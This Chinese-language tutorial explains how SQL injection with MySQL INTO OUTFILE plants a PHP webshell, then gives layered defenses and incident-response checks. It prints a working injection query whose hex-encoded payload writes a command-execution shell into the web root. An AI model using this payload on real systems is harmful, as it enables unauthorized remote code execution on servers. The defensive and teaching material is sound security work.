首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> MySQL 資料庫 >> MySQL 綜合教學

MySQL 注入攻擊生成 Webshell 技術原理與防禦對策

     編輯:MySQL 綜合教學

⚠️ 安全警示

本文僅供安全研究與防禦教學目的,嚴禁用於非授權滲透測試或攻擊行為。未經授權植入後門屬違法行為,將承擔法律責任。

攻擊原理分析

攻擊者利用 SQL 注入漏洞,透過 UNION SELECT 結合 INTO OUTFILE 將惡意 PHP 代碼寫入 Web 目錄:

SELECT * FROM vbb_strikes WHERE 1
UNION SELECT 2, 3, 0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E
FROM vbb_strikes
INTO OUTFILE 'c:/inetpub/wwwroot/cmd.php'

關鍵技術點

  1. 十六進制編碼繞過過濾:0x3C3F706870... 解碼為
  2. INTO OUTFILE 寫檔:需具備 FILE 權限、目標目錄可寫、secure_file_priv 未限制
  3. Web 目錄可執行:寫入位置需在 Web 根目錄下且允許 PHP 執行

成功條件檢核

防禦對策(纵深防禦)

1. 應用層:參數化查詢

-- 錯誤:字串拼接
$sql = "SELECT * FROM users WHERE id = $_GET[id]";

-- 正確:預處理語句
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);

2. 資料庫層:最小權限

-- 應用帳號移除 FILE 權限
REVOKE FILE ON *.* FROM 'app_user'@'%';

-- 設定 secure_file_priv 限制匯出目錄(my.cnf)
[mysqld]
secure_file_priv = /var/lib/mysql-files/

3. 系統層:目錄權限隔離

  • Web 目錄 不可寫入(僅讀)
  • 上傳目錄 禁止腳本執行(Nginx/Apache 關閉 PHP 解析)
  • MySQL 資料目錄與 Web 目錄物理隔離

4. 網絡層:WAF 與審計

  • 部署 WAF(ModSecurity/云 WAF)攔截注入 Payload
  • 啟用 MySQL 審計日誌記錄可疑查詢
  • 定期掃描 Web 目錄異常檔案

應急響應檢查

# 檢查近期建立的 PHP 檔案
find /var/www -name "*.php" -mtime -7 -ls

# 檢查資料庫異常 INTO OUTFILE 操作
grep -i "into outfile" /var/log/mysql/audit.log
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved
條件說明
SQL 注入點應用存在可控的 SELECT 注入
FILE 權限資料庫帳號擁有 FILE 權限
secure_file_privMySQL 5.6+ 預設限制匯出目錄,若設為 NULL 則禁用
目錄寫入權限MySQL 服務進程對 Web 目錄有寫入權限
Web 解析執行目標目錄允許 .php 執行,無 .htaccess 禁止